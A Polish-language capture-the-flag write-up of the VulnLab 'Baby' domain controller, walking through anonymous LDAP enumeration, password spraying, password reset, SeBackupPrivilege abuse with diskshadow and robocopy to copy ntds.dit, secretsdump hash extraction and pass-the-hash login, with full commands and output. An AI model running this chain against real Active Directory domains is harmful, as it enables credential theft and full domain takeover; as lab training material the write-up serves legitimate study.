Piątek wieczór, siadam do komputera, łączę się z VPNem i szukuje sobie coś do picia. Środowisko jest już gotowe - jeden adres IP. Łyk harbaty i przystępuje do skanowania, zastanawiając się już za wczasu co mnie teraz czeka?

Kontroler domeny, hm kto by pomyślał.

Na samym początku postanowiłem zweryfikować, czy mam dostęp do danych przechowywanych w systemie LDAP:

┌──(kalikali)-[~/Desktop/Kali/VULNLAB]
└─$ ldapsearch -H ldap://baby.vl -b dc=baby,dc=vl "(objectclass=*)" -x
[...]

# baby.vl
dn: DC=baby,DC=vl

# Administrator, Users, baby.vl
dn: CN=Administrator,CN=Users,DC=baby,DC=vl

# Guest, Users, baby.vl
dn: CN=Guest,CN=Users,DC=baby,DC=vl
objectClass: top
objectClass: person
...

BINGO 💎

Zaczyna się ciekawie. Skoro mam na samym początku dostęp do LDAPa to mogę już na samym starcie bardzo dużo dowiedzieć się o moim celu. Może znajde jakieś ciekawe atrybuty, hasła a może nic ciekawego oprócz nazw użytkowników nie znajdę ?

W celu ułatwienia sobie pracy postanowiłem zapisać output z LDAP do pliku. Im mniej ruchu tym lepiej:

ldapsearch -H ldap://baby.vl -b dc=baby,dc=vl "(objectclass=*)" -x | tee DANE_LDAP

Skoro mam już co chciałem, mogę rozpocząć analizę. Na pierwszy ogień idą opisy użytkowników.

grep "sAMAccountName\|description" DANE_LDAP | less

Prosta enumeracja poskutkowała znalezieniem użytkownika z ciekawym description:

description: Set initial password to BabyStart123!

Czyżby to było takie proste ?

┌──(kalikali)-[~/Desktop/Kali/VULNLAB/Baby]
└─$ evil-winrm -u baby.vl\\Teresa.Bell -p 'BabyStart123!' -i baby.vl
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
                                        
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
                                        
Error: Exiting with code 1

Niestety hasło to nie działa dla tego użytkownika, ale przynajmniej mamy już coś sensownego. Hmm, kolejną rzeczą, którą mogę zrobić to reverse brute force. Może być tak, że to jest domyślne hasło przypisywane nowym użytkownikom przez administratora. Warto to sprawdzić.

Do wykonania tego ataku użyłem narzędzia crackmapexec:

┌──(kalikali)-[~/Desktop/Kali/VULNLAB/Baby]
└─$ crackmapexec smb baby.vl -u USERS -p 'BabyStart123!'                
[...]
SMB         baby.vl         445    BABYDC           [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE

Atak siłowy zakończył się niejako sukcesem 🎉. Hasło jest prawidłowe, ale musi zostać zmienione.

Używając narzędzia smbpasswd mogę zmienić hasło użytkownikowi z systemu linux niczym ninja 🐱‍👤

┌──(rootkali)-[/home//Desktop/Kali/VULNLAB/Baby]
└─# smbpasswd -U Caroline.Robinson -r baby.vl
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user Caroline.Robinson on baby.vl.

Initial access 🏴

Hasło zostało zmienione pomyślnie i dzięki temu mogę już zalogować się na system. Jest i nasz mały sukces

*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> cat user.txt
🍒

Enumeracja 🔍

Dobra mamy shella jako user, ale czeka na nas większa nagroda do zebrania, Administrator domeny. W tym celu zacząłem wykonywać enumerację i pierwsze od czego zacząłem to analiza specjalnych uprawnień przypisanych do użytkownika:

*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled

SeBackupPrivilege             Back up files and directories  Enabled

SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Czy ja dobrze widzę ?? SeBackupPrivilege to jest to co chciałem tu zobaczyć 💪 Z tym uprawnieniem przejmę ten kontroler 👾

Teraz korzystając z komendy reg zdumpuje sobie parę przydatnych rzeczy:

*Evil-WinRM* PS C:\Users\Caroline.Robinson> reg save hklm\sam .\sam
The operation completed successfully.

*Evil-WinRM* PS C:\Users\Caroline.Robinson> reg save hklm\system .\system
The operation completed successfully.

*Evil-WinRM* PS C:\Users\Caroline.Robinson> download sam
                                        
Info: Downloading C:\Users\Caroline.Robinson\sam to sam                                 
Info: Download successful!

*Evil-WinRM* PS C:\Users\Caroline.Robinson> download system
                                        
Info: Downloading C:\Users\Caroline.Robinson\system to system   

Posiadając SAM oraz SYSTEM mogę wykonać lokalny dump haszy. Nie ma na co czekać, czas zdumpować hasze i władować się na AD:

┌──(kalikali)-[~/Desktop/Kali/VULNLAB/Baby]
└─$ impacket-secretsdump -sam sam -system system LOCAL
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Jest i hasz lokalnego admina, wystarczy połączyć się tylko po winrm i jestem w domu:

┌──(kalikali)-[~/Desktop/Kali/VULNLAB/Baby]
└─$ evil-winrm -u Administrator -H 8d992faed38128ae85e95fa35868bb43 -i baby.vl  
Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1

A to ci numer. Konto lokalnego admina musi być zablokowane gdyż nie udało się na niego zalogować.

Dobra skoro tak z mną grają to ja i również zagram z nimi. Mając powłokę jako Caroline.Robinson wykonam shadow copy i skopiuje sobie NTDS.DIT święty grall każdej domeny 😏.

W tym celu utworzyłem plik zawierające instrukcje do wykonania shadow copy:

┌──(kalikali)-[~/Desktop/Kali/VULNLAB/Baby]
└─$ cat funky_word_hacker.txt    
set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX

Przeniosłem skrypt na dysk i uruchomiłem:

*Evil-WinRM* PS C:\Users\Caroline.Robinson> diskshadow /s funky_word_hacker.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  BABYDC,  8/21/2023 10:40:05 PM

-> set verbose on
-> set metadata C:\Windows\Temp\meta.cab
-> set context clientaccessible
-> set context persistent
-> begin backup
-> add volume C: alias cdrive
-> create

Zadziałało jak złoto No to robimy kopie ntds 😈:

*Evil-WinRM* PS C:\Users\Caroline.Robinson> robocopy /b E:\Windows\ntds . ntds.dit

-------------------------------------------------------------------------------
   ROBOCOPY     ::     Robust File Copy for Windows
-------------------------------------------------------------------------------

  Started : Monday, August 21, 2023 10:43:38 PM
   Source : E:\Windows\ntds\
     Dest : C:\Users\Caroline.Robinson\

    Files : ntds.dit

  Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30

------------------------------------------------------------------------------

	                   1	E:\Windows\ntds\
	    New File  		  16.0 m	ntds.dit
  0.0%
  0.3%
  0.7%
[...]

Leci kopia :>, miło się na to patrzy. Lekki uśmiech i dumpujemy hasze 😏:

┌──(kalikali)-[~/Desktop/Kali/VULNLAB/Baby]
└─$ impacket-secretsdump -ntds ./ntds.dit -system system LOCAL
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 41d56bf9b458d01951f592ee4ba00ea6
[*] Reading and decrypting hashes from ./ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
BABYDC$:1000:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
baby.vl\Jacqueline.Barnett:1104:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
baby.vl\Ashley.Webb:1105:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
baby.vl\Hugh.George:1106:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
baby.vl\Leonard.Dyer:1107:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
baby.vl\Ian.Walker:1108:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
baby.vl\Connor.Wilkinson:1110:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
baby.vl\Caroline.Robinson:1111:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
baby.vl\Joseph.Hughes:1112:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
baby.vl\Kerry.Wilson:1113:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
baby.vl\Teresa.Bell:1114:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::

No i boom 💣, mamy hasze wszystkich użytkowników. Piękny widok.

P0wn Th4 sYstema!

Skoro mam już wszystkie hasze, to już czas na zalogowanie się przy użyciu danych domain admina:

┌──(kalikali)-[~/Desktop/Kali/VULNLAB/Baby]
└─$ evil-winrm -u administrator -H '<REDACTED>' -i baby.vl
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

I’m in 🕴, chciało by się rzec:

*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls


    Directory: C:\Users\Administrator\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        11/21/2021   3:22 PM             36 root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
🎆🎆🎆

Mamy root.txt, mamy hasze z ntds czego chcieć więcej i pomyśleć, że to wszystko przez to, że ktoś skonfigurował dostęp do LDAP w niewłaściwy sposób oraz, że zostawił nam dobrego hinta w postaci hasła użytkownika.

See you next time ✌